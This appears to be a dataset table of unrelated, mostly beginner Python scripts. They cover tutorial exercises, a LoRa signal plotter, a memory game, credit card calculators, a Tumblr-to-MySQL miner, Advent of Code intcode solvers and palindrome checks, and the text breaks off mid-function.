text stringlengths 37 1.41M |
|---|
if __name__ == '__main__':
while True:
entrada = input().split()
n1 = int(entrada[0])
n2 = int(entrada[1])
if n1 == 0 and n2 == 0:
break
print(n1*n2) |
entrada = int (input());
for x in range(0,entrada):
numbers = input().split(" ");
n = int((int(numbers[0]) * int(numbers[1]))/2)
print(n,"cm2");
|
import numpy as np
import matplotlib.pyplot as plt
from json import loads
from datetime import datetime, timedelta
import dateutil.parser
dev_id = "keypad"
date = "13.11.2018"
gateway = "trt-olav-loragw01"
somedate = datetime
Datarates = ["SF12BW125", "SF11BW125", "SF10BW125","SF9BW125", "SF8BW125", "SF7BW125"]
def binary_search(arr, val, start, end):
# we need to distinugish whether we should insert
# before or after the left boundary.
# imagine [0] is the last step of the binary search
# and we need to decide where to insert -1
if start == end:
if arr[start] > val:
return start
else:
return start+1
# this occurs if we are moving beyond left's boundary
# meaning the left boundary is the least position to
# find a number greater than val
if start > end:
return start
mid = int((start+end)/2)
if arr[mid] < val:
return binary_search(arr, val, mid+1, end)
elif arr[mid] > val:
return binary_search(arr, val, start, mid-1)
else:
return mid
def insertion_sort(arr, arr2, arr3):
for i in range(len(arr)):
val = arr[i]
val2 = arr2[i]
val3 = arr3[i]
j = binary_search(arr, val, 0, i-1)
arr = arr[:j] + [val] + arr[j:i] + arr[i+1:]
arr2 = arr2[:j] + [val2] + arr2[j:i] + arr2[i+1:]
arr3 = arr3[:j] + [val3] + arr3[j:i] + arr3[i+1:]
return arr, arr2, arr3
def MetadataListFromLog(dev_id, gateway, date):
# Returns a list wich contains all metadata from given gateway at a given date.
temp = []
try:
Log = open('Logs '+dev_id+"/"+gateway+" "+date+".txt",'r')
for line in Log:
#Load each line from Json:
temp.append(loads(line))
Log.close()
return temp
except FileNotFoundError:
print("File not found...")
return temp
def MakeArrays(metadatalist):
# Takes in metadatalist, returns:
DRarray = []
# Time array is filled with datetime objects.
timearray = []
rssiarray = []
snrarray = []
for i in range(len(metadatalist)):
for n in range(len(Datarates)):
if Datarates[n] == metadatalist[i][0]:
DRarray.append(n)
timearray.append(dateutil.parser.parse(metadatalist[i][3]))
rssiarray.append(metadatalist[i][5])
snrarray.append(metadatalist[i][6])
return DRarray, timearray, rssiarray, snrarray
def GetMean(IntegerList):
temp = 0
for i in range(len(IntegerList)):
temp = temp + IntegerList[i]
try:
return float(temp)/len(IntegerList)
except ZeroDivisionError:
return temp
def PlotRSSI_SNR(x, y, z, xlabel, ylabel, leg):
temp = 0
numPlots = 0
for i in range(len(x)):
# If the timedifference is bigger than 2 minutes
if x[i]-x[i-1] > timedelta(0,30,0):
if len(x[temp:i-1])>4:
numPlots = numPlots + 1
mean = GetMean(y[temp:i-1])
mean = [mean]*len(y[temp:i-1])
pltx = np.array(x[temp:i-1])
plty = np.array(y[temp:i-1])
pltz = np.array(z[temp:i-1])
pltmean = np.array(mean)
temp = i
plt.figure(numPlots)
plt.plot(pltx,plty,'bo', pltx, pltmean, 'r')
plt.xlabel(xlabel)
plt.ylabel(ylabel)
plt.legend([leg,'','mean'])
for i,j in zip(pltx,plty):
plt.annotate(str(j),xy=(i,j))
else:
pass
plt.show()
def PlotMeanDR(x, y, DR):
temp = 0
numPlots = 0
DR_tmp, x_temp, y_temp = insertion_sort(DR, x, y)
for i in range(len(DR_tmp)):
# If the timedifference is bigger than 2 minutes
if x[i]-x[i-1] > timedelta(0,600,0):
temp = i
numPlots = numPlots + 1
for i in range(4):
n = 0
while DR_tmp[n] == i:
n=n+1
mean = GetMean(y[temp:n])
mean = [mean]*len(y[temp:n])
pltmean = np.array(mean)
pltx = np.array(x[temp:n])
plty = np.array(y[temp:n])
plt.figure(numPlots)
plt.plot(pltx,plty,'bo', pltx, pltmean, 'r')
plt.show()
something = MetadataListFromLog("keypad", gateway , date)
yourdate = dateutil.parser.parse(something[0][3])
a,b,c,d = MakeArrays(something)
some = b[2]-b[1]
some1 = b[3]-b[2]
#PlotRSSI_SNR(b,c,a, "Time", "RSSI dBm", "hello")
PlotMeanDR(b, c, a)
#meta Format ["trt-vm-loragw01", True, 1040756148, "2018-11-08T11:39:10Z", 0, -120, -8.75, 1, 63.42883, 10.385698, 20]
meta = ["trt-vm-loragw01", True, 1040756148, "2018-11-08T11:39:10Z", 0, -120, -8.75, 1, 63.42883, 10.385698, 20]
|
# Learn Python The Hard Way
# Exercise 6
x = "There are %d types of people." %10
binary = "binary"
do_not = "don't"
y = "Those who know %s and those who %s." % (binary, do_not)
print x
print y
# %r for debugging since it displays the raw, others are for display
print "I said: %r." % x
print "I also said: '%s'." % y
hilarious = False
joke_evaluation = "Isn't that joke so funny?! %r"
print joke_evaluation % hilarious
w = "This is the left side of..."
e = "a string with a right side."
# adding strings together appends the two strings together
print w + e
# Exercise 7 (ex7_printing.py)
print "Mary had a little lamb."
print "Its fleece was white as %s." %'snow'
print "And everywhere that Mary went."
print "." * 10 #what'd that do? #prints 10 *
end1 = "C"
end2 = "h"
end3 = "e"
end4 = "e"
end5 = "s"
end6 = "e"
end7 = "B"
end8 = "u"
end9 = "r"
end10 = "g"
end11 = "e"
end12 = "r"
#watch that comma at the end. try removing it to see what happens
#the comma puts it all on one line with no spaces Cheese Burger
print end1 + end2 + end3 + end4 + end5 + end6,
print end7 + end8 + end9 + end10 + end11 +end12
# Exercise 8 (ex8_printing_formatter.py)
formatter = "%r %r %r %r"
print formatter %(1, 2, 3, 4)
# prints 1 2 3 4
print formatter % ("one", "two", "three", "four")
# prints 'one" "two" "three" "four"
print formatter % (True, False, False, True)
# prints True False False True
print formatter % (formatter, formatter, formatter, formatter)
# prints '%r %r %r %r' '%r %r %r %r' '%r %r %r %r' '%r %r %r %r'
print formatter % (
"I had this thing.",
"That you could type up right.",
"But it didn't sing.",
"So I said goodnight."
)
# 'I had this thing.' 'That you could type up right.' "But it didn't sing." 'So I said goodnight.'
# Exercise 9 (ex9_more_printing.py)
days = "Mon Tue Wed Thu Fri Sat Sun"
# prints everything on one line
months = "Jan\nFeb\nMar\nApr\nMay\nJun\nJul\nAug"
# prints everything on separate lines
#Why do the \n newlines not work when I use %r?That's how %r formatting works; it prints it the way you wrote it (or close to it). It's the "raw" format for debugging.Why do I get an error when I put spaces between the three double-quotes?You have to type them like """ and not " " ", meaning with no spaces between each one.
# Exercise 10
#There are plenty of these "escape sequences" available for different characters you might want to put in, but there's a special one, the double backslash, which is just two of them \\. These two characters will print just one backslash.
#Another important escape sequence is to escape a single-quote ' or double-quote ". Imagine you have a string that uses double-quotes and you want to put a double-quote in for the output.
tabby_cat = "\tI'm tabbed in."
persian_cat = "I'm split\non a line."
backslash_cat = "I'm \\ a \\ cat."
fat_cat = """
I'll do a list:
\t* Cat good
\t* Fishies
\t* Catnip\n\t* Grass
"""
print tabby_cat
#prints I'm tabbed in.
print persian_cat
#prints I'm slot
# on a line
print backslash_cat
#prints I'm \ a \ cat
print fat_cat
|
# Coursera: Introduction to Interactive Programming
# Mini Project 5
# AY 20141025
# http://www.codeskulptor.org/#user38_ao5ySmgBgC_11.py
import simplegui
import random
global turns
turns = 0
# helper function to initialize globals
def new_game():
global deck
global exposed
global state
state = 0
exposed=[False,False, False, False,False, False, False, False, False, False, False, False,False,False,False,False]
deck1 = range(0,8)
deck2 = range(0,8)
deck = deck1 + deck2
random.shuffle(deck)
# define event handlers
def mouseclick(pos):
global state
global state1_value
global state2_value
global state1_sel
global state2_sel
global turns
# add game state logic here
card_sel = pos[0]/50
sel= deck[card_sel]
if state == 0:
state = 1
state1_sel = card_sel
state1_value = deck[card_sel]
exposed[state1_sel]=True
elif state == 1:
turns +=1
state = 2
state2_value = deck[card_sel]
state2_sel= card_sel
exposed[state2_sel]=True
else:
state = 0
if state1_value == state2_value:
exposed[state1_sel]=True
exposed[state2_sel]=True
else:
exposed[state1_sel]=False
exposed[state2_sel]=False
# cards are logically 50x100 pixels in size
def draw(canvas):
global exposed
for x in range(0,16):
if exposed[x] == False:
#canvas.draw_polygon([[0, 0], [50, 0],[50,100],[0, 100]], 1, 'White', 'Green')
canvas.draw_polygon([[x*50, 0], [(x+1)*50, 0],[(x+1)*50,100],[x*50, 100]], 1, 'White', 'Green')
for x in range(0,16):
if exposed[x] ==True:
canvas.draw_text(str(deck[x]), (x * 50 ,100), 100, 'Red')
# create frame and add a button and labels
frame = simplegui.create_frame("Memory", 800, 100)
frame.add_button("Reset", new_game)
label = frame.add_label("Turns = " + str(turns))
# register event handlers
frame.set_mouseclick_handler(mouseclick)
frame.set_draw_handler(draw)
# get things rolling
new_game()
frame.start()
# Always remember to review the grading rubric |
# Write a program that calculates the minimum fixed monthly payment needed
# in order pay off a credit card balance within 12 months.
balance = 3926
annualInterestRate = 0.2
monthly_payment = 0
step = 10
month = 1
current_balance = balance
#x = balance, y = monthly payment, z = annualInterestRate
def newmonth(x,y,z):
m = 1
while m <= 12:
x -= y
x += z/12.0*x
m += 1
return x
while newmonth(balance,monthly_payment,annualInterestRate) > 0:
monthly_payment += step
print 'Lowest Payment: %r' % monthly_payment |
# Write a program to calculate the credit card balance after one year if a
# person only pays the minimum monthly payment required by the credit card
# company each month.
balance = 4842
annualInterestRate = 0.2
monthlyPaymentRate = 0.04
month = 1
total_paid = 0
while month <= 12:
print 'Month: %r' % month
min_payment = round(balance * monthlyPaymentRate,2)
total_paid += min_payment
print 'Minimum monthly payment: %r' % min_payment
balance -= min_payment
balance += (annualInterestRate / 12.0 * balance)
print 'Remaining balance: %r' % round(balance,2)
month += 1
print 'Total paid: %r' % round(total_paid,2)
print 'Remaining balance: %r' % round(balance,2) |
info = [
{"My name is": "Ryan"},
{"My age is": "33"},
{"My country of birth is": "The US"},
{"My favorite language is": "Python"}
]
for i in range(0, len(info)):
print info[i]
|
log_file = open("um-server-01.txt")
# Opens the file named "um-server-01.txt" and assigns it to log_file
def sales_reports(log_file):
# Creates a function called sales_reports with a paramater of log_file
for line in log_file:
# A for loops that goes over the lines in log_file
line = line.rstrip()
# Makes the line equal to the line, but removes the whitespace at the end
day = line[0:3]
# Sets the day as equal to the first three characters of the line
if day == "Mon":
# Checks to see if the day is equal to tuesday and if so, then run the code bellow
print(line)
# Prints the line in the console
# sales_reports(log_file)
# Calls the sales_report function
# Extra Credit
def ten_melons (log_file):
for line in log_file:
line = line.rstrip('\n').split(' ')
melons = int(line[2])
if melons > 5:
print(line)
ten_melons(log_file)
|
#Reducer and computer for Realestate Data
import sys
totalcost = 0 #Counter for Total Cost
totasqr = 0 #Counter for total square feet
for line in sys.stdin: #reads through input file line by line
data = line.strip().split("\t") #assigns line to list called data
if len(data) = 2: #checks to make sure correct data is being used
cost, sqr = data
if(cost != " " and cost != "COST": #ensures the Header Line isn't computed,
#and that sqrfeet of blank costs aren't added
totalcost = totalcost + float(cost)
totasqr = totasqr + float(sqr)
avg = totalcost/totasqr #computes avg cost per square foot
print("{0}".format(avg)) #prints avg to system
|
#Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be:
#1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...
#By considering the terms in the Fibonacci sequence whose values do not exceed four million, find the sum of the even-valued terms.
#initial variables
x=1
y=2
z=0
evenNums=2
#start loop
while z <4000000:
z=x+y
x=y
y=z
#if y is even number, add to variable.
if y%2==0:
evenNums+= y
print "The sum of even numbers is " + str(evenNums) + "." |
'''
Input: nums = [1,3,-1,-3,5,3,6,7], k = 3
Output: [3,3,5,5,6,7]
Explanation:
Window position Max
--------------- -----
[1 3 -1] -3 5 3 6 7 3
1 [3 -1 -3] 5 3 6 7 3
1 3 [-1 -3 5] 3 6 7 5
1 3 -1 [-3 5 3] 6 7 5
1 3 -1 -3 [5 3 6] 7 6
1 3 -1 -3 5 [3 6 7] 7
'''
import collections
def maxSlidingWindow(nums,k):
output = []
q = collections.deque()
l = r = 0
# Put index in q
while r < len(nums):
while q and nums[q[-1]] < nums[r]:
q.pop()
q.append(r)
# we shall keep q[0] is the leftmost index in q
# remove left val from window if left index already bigger than q[0]
if l > q[0]:
q.popleft()
if (r+1)>= k:
output.append(nums[q[0]])
l += 1
r += 1
return output
nums = [1,3,-1,-3,5,3,6,7]
k = 3
print(maxSlidingWindow(nums, k)) |
'''
word = 'abbcccb', k =3 means can delete consecutive char
first : delete ccc, and then becomes 'abbb'
Second : delete bbb, and then becomes "a"
return a
word = 'abbcccbddddb', k =4
delete dddd
return "abbcccbb"
'''
def compressWord(word, k):
# Write your code here
stack = []
for w in word:
if not stack or w != stack[-1][0]:
stack.append((w, 1))
elif w == stack[-1][0]:
count = stack[-1][1]
if count + 1 < k:
stack.append((w, count + 1))
elif count + 1 == k:
while stack and stack[-1][0] == w:
stack.pop()
res = ""
for pair in stack:
res += pair[0]
return res |
"""
curses test
if window:
pip install (--user) window-curses
"""
import curses
def main(console):
"""
Fonction principal qui sera envoloppée" par "curses"
et aura accès à la console en tant que "console"
"""
console.leaveok(True)
console.clear()
console.addstr(4, 10, "Bienvenue au jeu de dactylo!")
console.addstr(5, 10, "Appuie sur 'Q' pour quitter l'application à tout moment.")
console.refresh()
while True:
touche = console.getkey()
console.addstr(7, 10, "Pour apprendre, tape 1")
console.addstr(8, 10, "Pour taper du texte, tape 2")
touche = console.getkey()
console.addstr(9, 10, "{}".format(touche))
if touche == '1':# IMPORT demander niveau
console.clear()
console.addstr(11, 10, "Il est conseillé de faire les 15 niveaux progressivement.")
console.addstr(13, 10, "Par quel niveau souhaites-tu commencer? ")
demande = False
while not demande:
niveau_demande = console.getkey()
console.addstr(16, 10, "Niveau souhaité: {}".format(niveau_demande))
if niveau_demande == "1":
demande = True
elif touche == '2':# import texte random
break
elif touche == 'q':
break
curses.wrapper(main)
|
def render_list(self, block: str, block_type: str, y: int, ordered) -> int:
""" Renders the items of a list (ordered and unordered). Replaces the supplied numbers / hyphen with the correctly
ordered numbers / unicode character for display.
:param self: MarkdownRenderer
:param block: string of text
:param block_type: type of the text (e.g. headers, ordered/unordered lists, blockquotes, code etc)
:param y: y-coordinate to start rendering on
:param ordered: boolean to signal whether we have an ordered or unordered list at hand
:return: y-coordinate after rendering is finished
"""
start_of_line_x = self.x
x = start_of_line_x
# Cleanup
block = block \
.strip('\n') \
.replace('<li>', '') \
.replace('</li>', '') \
code_flag = False
bold_flag = False
italic_flag = False
position = None
prev_text_height = 0 # Fixes Flake8 error
for i, item in enumerate(block.split('\n')):
if ordered:
item = u' ' + str(i + 1) + '. ' + item
else:
item = u' \u2022 ' + item
for word in item.split(" "):
# _________ PREPARATION _________ #
# inline code, bold and italic formatting
word, position, code_flag, bold_flag, italic_flag = self.inline_formatting_preparation(word, position, code_flag, bold_flag, italic_flag)
# _________ TEXT BLITTING _________ #
# create surface to get width of the word to identify necessary linebreaks
word = word + " "
word = word.replace(">", ">").replace("<", "<")
if code_flag:
if position == 'first' or position == 'single':
x += self.code_padding
surface = self.get_surface(word, 'code', bold_flag, italic_flag)
else:
surface = self.get_surface(word, block_type, bold_flag, italic_flag)
if not(x + surface.get_width() < self.x + self.w): # new line necessary
y = y + prev_text_height + self.gap_line
if ordered:
extra_width = self.get_surface(u' ' + str(i + 1) + '. ', 'p').get_width()
else:
extra_width = self.get_surface(u' \u2022 ', 'p').get_width()
x = start_of_line_x + extra_width
if self.is_visible(y) and self.is_visible(y + surface.get_height()):
self.draw_code_background(code_flag, word, x, y, position)
self.screen.blit(surface, (x, y))
prev_text_height = surface.get_height() # update for next line
# Update x for the next word
x = x + surface.get_width()
if code_flag and position in ('single', 'last'):
x -= self.code_padding # reduce empty space by padding.
# _________ FORMATTING RESET FOR NEXT WORD _________ #
bold_flag = False if bold_flag and position == 'last' else bold_flag
code_flag = False if code_flag and (position == 'last' or position == 'single') else code_flag
italic_flag = False if italic_flag and position == 'last' else italic_flag
if i == len(block.split('\n')) - 1:
return y # return without adding to the last line
y = y + prev_text_height + self.gap_line
x = start_of_line_x
return y
|
#-----------------------------------------------------------#
# Tumblr Artwork Miner #
# Author: Rocio Ng #
# Purpose: Extracts information and urls #
# for Original Artwork posted by #
# artists obtained from Artist Miner #
#-----------------------------------------------------------#
from API_functions import get_art
from secret import SQL_password
import pymysql as mdb
import pandas as pd
import json
import csv
# Establish connection to the SQL database
print "Now connecting to tumblr_db"
con = mdb.connect('localhost','root', SQL_password, 'tumblr_db')
# Query the tumblr_db Artists table for blog names
with con:
cur = con.cursor()
# only select blog names that is missing information
print "Now extracting blog names from tumblr_db"
cur.execute("SELECT Blog_Name FROM Artists")
blog_name_query = cur.fetchall()
# for testing
# blog_name_query = blog_name_query[1:5]
# convert query item into a list
blog_name_list = []
for blog_name in blog_name_query:
blog_name_list.append(blog_name[0])
print "There are %i artists in total" % len(blog_name_list)
# # index artist list if short on time:
# # artist_list = artist_list[0:3]
errors = 0
for blog_name in blog_name_list:
print "now adding art for %s" % blog_name
try:
# make call to the tumblr API to return info regarding art posts
art_dump = get_art(blog_name)
art_dump = art_dump["posts"][0:20] # pulls out dictionary with info we want
print "Found %i pieces from artist: %s" % (len(art_dump), blog_name)
#print json.dumps(art_dump, indent = 1)
# cycle through up to 20 art posts that were returned with API call
for i in range(0,len(art_dump)):
# print art_dump
art_post = art_dump[i]
#----check to see if post is a "reblog"-------#
# collect labels in json file
labels = []
for label in art_post:
labels.append(label.encode('ascii', 'ignore')) # encode method gets rid of unicode format
# reblogged from id post only shows up in reblogged posts"
# will not add those posts to the database
if "reblogged_from_id" in labels:
print "reblog found and not added!"
else:
# collect information we want from API call returns
url = art_post["photos"][0]['original_size']['url'].encode('ascii', 'ignore')
tags = art_post["tags"]
tags = str([tag.encode('ascii', 'ignore') for tag in tags])
try:
notes = art_post["note_count"]
except KeyError: # key for notes not created in posts without notes
notes = 0
print "No notes found"
# artists_artwork[post_id] = [blog_name, url, tags, notes]
# print artists_artwork
try:
with con:
cur = con.cursor()
cur.execute("INSERT INTO Artwork(Blog_Name, Img_url, Tags, Notes) VALUES (%s,%s,%s,%s)",(blog_name,url,tags,notes))
cur.execute("SELECT * FROM Artwork WHERE blog_name=%s", (blog_name))
# check to see what is being added to the database
# rows = cur.fetchall()
# for row in rows:
# print row
except:
print "Duplicate artwork: Not Added." # if that artowrk is already in the data base.
except:
print "unknown error" # a small number of runs throw errors
errors += 1
print "Done mining artwork. There were %i errors" % errors
# # print artists_artwork
# with con:
# cur = con.cursor()
# cur.execute("SELECT * FROM Artwork")
# rows = cur.fetchall()
# for row in rows:
# print row
|
#Comma seperated file, look at position 0
#Position 0 is either 1, 2, or 99
#Old computer understands parameter mode "0"
#OPCODE SUPERLIST:
#99 == program is finished and should stop
#1 == add two numbers together and store the third
#2 == same as 1 except multiply
#3 == takes one number and saves it to the position given by the parameter
#4 == outputs the value of its parameter
#PARAMETER MODES:
#0 == Puzzle 2; "position mode" if par. = 50 then value is stored at pos. 50
#1 == Puzzle 5; "value mode" if par. = 50 then value is 50
#New directions:
# - 1002: 2 is multiplication, then right to left, 0, 1, 0
path = './input.csv'
input_file = open(path,'r')
inputs = input_file.read()
from collections import deque
from itertools import permutations
from itertools import combinations
import pdb
spot = 0 #spot in list
#tape1 = [3,26,1001,26,-4,26,3,27,1002,27,2,27,1,27,26,27,4,27,1001,28,-1,28,1005,28,6,99,0,0,5] #Example 1
#tape1 = [3,52,1001,52,-5,52,3,53,1,52,56,54,1007,54,5,55,1005,55,26,1001,54,-5,54,1105,1,12,1,53,54,53,1008,54,0,55,1001,55,1,55,2,53,55,53,4,53,1001,56,-1,56,1005,56,6,99,0,0,0,0,10] #Example 2
tape1 = [int(i) for i in open('input.csv').read().split(",")]
tape2 = [int(i) for i in open('input.csv').read().split(",")]
tape3 = [int(i) for i in open('input.csv').read().split(",")]
tape4 = [int(i) for i in open('input.csv').read().split(",")]
tape5 = [int(i) for i in open('input.csv').read().split(",")]
prevoutput = deque(maxlen = 2)
prevoutput.append(0)
pramset = deque(maxlen = None)
stop = 0
spot = 0
from intcode import intcode
from intcode import finoutput
from intcode import fouroutput
from intcode import amp5output
def resettape():
global tape1
global tape2
global tape3
global tape4
global tape5
tape1 = [int(i) for i in open('input.csv').read().split(",")]
tape2 = [int(i) for i in open('input.csv').read().split(",")]
tape3 = [int(i) for i in open('input.csv').read().split(",")]
tape4 = [int(i) for i in open('input.csv').read().split(",")]
tape5 = [int(i) for i in open('input.csv').read().split(",")]#resets all amp tapes to original input
def cycle(deck): #same as peek, except with appendleft
x = deck.pop()
deck.appendleft(x)
return x
def peek(deck): #returns value on right of deck
x = deck.pop()
deck.append(x)
return x
def loaddeck (combo, pramset): #loads pramset deque with the parameter code for each amp
pramset.clear()
pramset.appendleft(int(combo[0]))
pramset.appendleft(int(combo[1]))
pramset.appendleft(int(combo[2]))
pramset.appendleft(int(combo[3]))
pramset.appendleft(int(combo[4]))
def Amp1 (prop, pramset, tape):
if len(pramset) != 0:
prop.append(pramset.pop())
if len(prop) == 1:
prop.append(prop[-1])
try:
prop.append(int(intcode(prop, pramset, tape, 'n')))
except ValueError:
return 'break'
def Amp2 (prop, pramset, tape):
if len(pramset) != 0:
prop.append(pramset.pop())
if len(prop) == 1:
prop.append(prop[-1])
try:
prop.append(int(intcode(prop, pramset, tape, 'n')))
except ValueError:
return 'break'
def Amp3 (prop, pramset, tape):
if len(pramset) != 0:
prop.append(pramset.pop())
if len(prop) == 1:
prop.append(prop[-1])
try:
prop.append(int(intcode(prop, pramset, tape, 'n')))
except ValueError:
return 'break'
def Amp4 (prop, pramset, tape):
if len(pramset) != 0:
prop.append(pramset.pop())
if len(prop) == 1:
prop.append(prop[-1])
try:
prop.append(int(intcode(prop, pramset, tape, 'n')))
except ValueError:
return 'break'
def Amp5 (prop, pramset, tape):
global fouroutput
isamp5 = 'y'
if len(pramset) != 0:
prop.append(pramset.pop())
if len(prop) == 1:
prop.append(prop[-1])
try:
prop.append(int(intcode(prop, pramset, tape, isamp5)))
except ValueError:
return 'break'
def amplist(prop, pramset, tape1, tape2, tape3, tape4, tape5): #runs amps in order until break on op99
for x in range(10000):
for y in range(10000):
if Amp1(prop, pramset, tape1) == 'break':
break
if Amp2(prop, pramset, tape2) == 'break':
break
if Amp3(prop, pramset, tape3) == 'break':
break
if Amp4(prop, pramset, tape4) == 'break':
break
if Amp5(prop, pramset, tape5) == 'break':
break
else:
continue
break
allcombos = list(permutations('56789',5))
#allcombos = ['97856']
for line in allcombos:
loaddeck(line, pramset) #load pramset with values of parameter set
amplist(prevoutput, pramset, tape1, tape2, tape3, tape4, tape5) #pass in all necessary values and runs intcode till break on op99
prevoutput.clear() #clears all prev. outputs for next run
pramset.clear() #clear pramset just in case it's not empty already
resettape() #resets all amp tapes
print("*****LINE: %s*****" % str(line)) #prints out check for finishing each line in allcombos
if max(finoutput) == 31074828 or max(finoutput) == 31054404: #check if output varies from outputs already guessed
print('Nope %i' % max(finoutput))
print(finoutput)
print(max(amp5output))
else:
print('Yes! %i' % max(finoutput))
#print(finoutput)
#print(amp5output)
input_file.close()
#new_inputs.close()
|
#Comma seperated file, look at position 0
#Position 0 is either 1, 2, or 99
#Old computer understands parameter mode "0"
#OPCODE SUPERLIST:
#99 == program is finished and should stop
#1 == add two numbers together and store the third
#2 == same as 1 except multiply
#3 == takes one number and saves it to the position given by the parameter
#4 == outputs the value of its parameter
#PARAMETER MODES:
#0 == Puzzle 2; "position mode" if par. = 50 then value is stored at pos. 50
#1 == Puzzle 5; "value mode" if par. = 50 then value is 50
#New directions:
# - 1002: 2 is multiplication, then right to left, 0, 1, 0
#path = './input.csv'
#input_file = open(path,'r')
#inputs = input_file.read()
from collections import deque
#import pdb
#spot = 0 #spot in list
#tape = [int(i) for i in open('input.csv').read().split(",")]
#stop = 0
fouroutput = 0
spots = deque(maxlen = 5) #spots deque keeps track of spots for amp, revolves as amps are called
spots.append(0) #fills spots deque with the appropriate num of values
spots.append(0)
spots.append(0)
spots.append(0)
spots.append(0)
amp5output = deque(maxlen = None) #stores all of the outputs of Amp5
finoutput = deque(maxlen = None) #stores all outputs of the last Amp5 output upon op99 being called
def spotreset():
spots.clear()
spots.append(0)
spots.append(0)
spots.append(0)
spots.append(0)
spots.append(0)
def op99 (prop):
global stop
global finoutput
spotreset()
stop = 2
finoutput.append(amp5output.pop())
return
def op1 (bob, place, p1mode=0, p2mode=0, p3mode=0):
jim = 0
tim = 0
val1 = int(bob[place+1])
val2 = int(bob[place+2])
val3 = int(bob[place+3])
if p1mode == 0:
jim = int(bob[val1])
if p1mode == 1:
jim = val1
if p2mode == 0:
tim = int(bob[val2])
if p2mode == 1:
tim = val2
if p3mode == 0:
sumval = jim + tim
bob[val3] = sumval
if p3mode == 1:
raise ValueError("unknown mode for writing instr %s" % bob[place])
return 4
def op2 (bob, place, p1mode=0, p2mode=0, p3mode=0):
jim = 0
tim = 0
val1 = int(bob[place+1])
val2 = int(bob[place+2])
val3 = int(bob[place+3])
if p1mode == 0:
jim = int(bob[val1])
if p1mode == 1:
jim = val1
if p2mode == 0:
tim = int(bob[val2])
if p2mode == 1:
tim = val2
if p3mode == 0:
sumval = jim * tim
bob[val3] = sumval
if p3mode == 1:
raise ValueError("unknown mode for writing instr %s" % bob[place])
return 4
def op3 (bob, place, prop):
par1 = int(bob[place+1])
bob[par1] = prop.pop()
print("input: %i" % bob[par1])
return 2
def op4 (bob, place, prop, isamp5):
global stop
global fouroutput
global spots
global amp5output
par1 = int(bob[place+1])
fouroutput = bob[par1]
print('bob@place %i' % bob[place])
print('place + 1 %i' % (place + 1))
print('par1 %i' % par1)
print('place%i' % place)
print("output: %i" % bob[par1])
place += 2
spots.appendleft(place)
if isamp5 == 'y':
amp5output.append(fouroutput)
print('fouroutput %i' % fouroutput)
stop = 1
return 2
def op5 (bob, place, p1mode=0, p2mode=0): #DONE
if p1mode == 1:
val1 = bob[place+1]
if p1mode == 0:
val3 = bob[place+1]
val1 = bob[val3]
if p2mode == 1:
val2 = bob[place+2]
if p2mode == 0:
val4 = bob[place+2]
val2 = bob[val4]
if val1 != 0:
return (val2 - place)
else:
return 3
def op6 (bob, place, p1mode=0, p2mode=0): #DONE
if p1mode == 1:
val1 = bob[place+1]
if p1mode == 0:
val3 = bob[place+1]
val1 = bob[val3]
if p2mode == 1:
val2 = bob[place+2]
if p2mode == 0:
val4 = bob[place+2]
val2 = bob[val4]
if val1 == 0:
return (val2 - place)
else:
return 3
def op7 (bob, place, p1mode=0, p2mode=0): #DONE
if p1mode == 1:
val1 = bob[place+1]
if p1mode == 0:
val3 = bob[place+1]
val1 = bob[val3]
if p2mode == 1:
val2 = bob[place+2]
if p2mode == 0:
val4 = bob[place+2]
val2 = bob[val4]
val5 = bob[place+3]
if val1 < val2:
bob[val5] = 1
else:
bob[val5] = 0
return 4
def op8 (bob, place, p1mode=0, p2mode=0): #DONE
if p1mode == 1:
val1 = bob[place+1]
if p1mode == 0:
val3 = bob[place+1]
val1 = bob[val3]
if p2mode == 1:
val2 = bob[place+2]
if p2mode == 0:
val4 = bob[place+2]
val2 = bob[val4]
val5 = bob[place+3]
if val1 == val2:
bob[val5] = 1
else:
bob[val5] = 0
return 4
def opexecute(tape, place, prop, isamp5, instr, md1, md2, md3):
global spots
if instr == 99:
place = op99(prop) #returns 'NoneType' & causes TypeError in intcode
elif instr == 1:
place = op1(tape, place, md1, md2, md3)
elif instr == 2:
place = op2(tape, place, md1, md2, md3)
elif instr == 3:
place = op3(tape, place, prop)
elif instr == 4:
place = op4(tape, place, prop, isamp5) #'isamp5' allows op4 to put output from amp5 in addit. deque for ref later
elif instr == 5:
place = op5(tape, place, md1, md2)
elif instr == 6:
place = op6(tape, place, md1, md2)
elif instr == 7:
place = op7(tape, place, md1, md2)
elif instr == 8:
place = op8(tape, place, md1, md2)
else:
print(place)
print(tape)
print(len(tape))
raise ValueError("unknown opcode: %s" % str(spot)+" "+str(instr))
return place
def intcode(prop, pramset, tape, isamp5):
global stop
global spots
global fouroutput
stop = 0
place = spots.pop()
print("prop:")
print(prop)
print("pramset:")
print(pramset)
while stop == 0:
print("value on tape[%d] spot: %i" % (place,tape[place]))
nuts = str(tape[place])
x = opexecute(tape, place, prop, isamp5, int((nuts[-2:] or 0)), int((nuts[-3:-2] or 0)), int((nuts[-4:-3] or 0)), int((nuts[:-4] or 0)))
try:
place = place + x
except TypeError: #should only TypeError after running op99
if stop == 2:
break
print('spots:')
print(spots)
if stop == 2:
return 'false' #causes ValueError in Amp_ method
else:
return fouroutput #returns output to be append to prevoutput deque in Amp_ method
#input_file.close()
#new_inputs.close() |
'''
elena corpus
csci 160
tuesday 5 -7 pm
entering a string and finding out if it is a palindrome and if it is even
or odd
user_str = input('Enter a String: ')
length_user_str = len(user_str)
while user_str != ' ' :
reversed_str = ''
length_user_str = len(user_str)
for character in range(length_user_str - 1, -1, -1): # three S - start stop step
reversed_str = reversed_str + user_str[character]
print("Reversed String: ",reversed_str)
if user_str == reversed_str:
if length_user_str % 2 == 0:
print('It is an even palindrome.')
else:
print('It is an odd palindrome.')
else:
print('It is not a palindrome')
user_str = input('Enter a String: ')
'''
user_str = input('enter a string: ')
while user_str != ' ':
reversed_str = ''
for character in reversed(user_str):
reversed_str += character
print('Reversed string: ',reversed_str)
if user_str == reversed_str:
if len(user_str) % 2 == 0:
print('the string is an even palindrome.')
else:
print('the string is an odd palindrome.')
else:
print('the string is not a palindrome.')
user_str = input('enter a string: ')
|
'''
Initial while loop
Counting from counter (1) to the target value (user input)
'''
counter = 1
target = int ( input ("How high should the program count? "))
while counter <= target: #pretest loop
#if counter % 100000 == 0:
print (counter)
counter = counter + 1
print ("The loop executed", target, "times")
|
def printPhoneBook (message, data):
print(message)
for contact in data:
print(format(contact,"15s"), format(data[contact],">15s"))
print()
def printSortedPhoneBook(message, data):
print(message)
